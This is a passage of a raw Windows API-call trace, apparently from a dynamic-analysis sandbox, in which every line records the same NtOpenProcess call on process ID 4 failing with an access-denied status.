	[0072.687] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.687] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.687] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.687] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.687] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.687] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.687] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.689] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.690] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.691] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.692] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
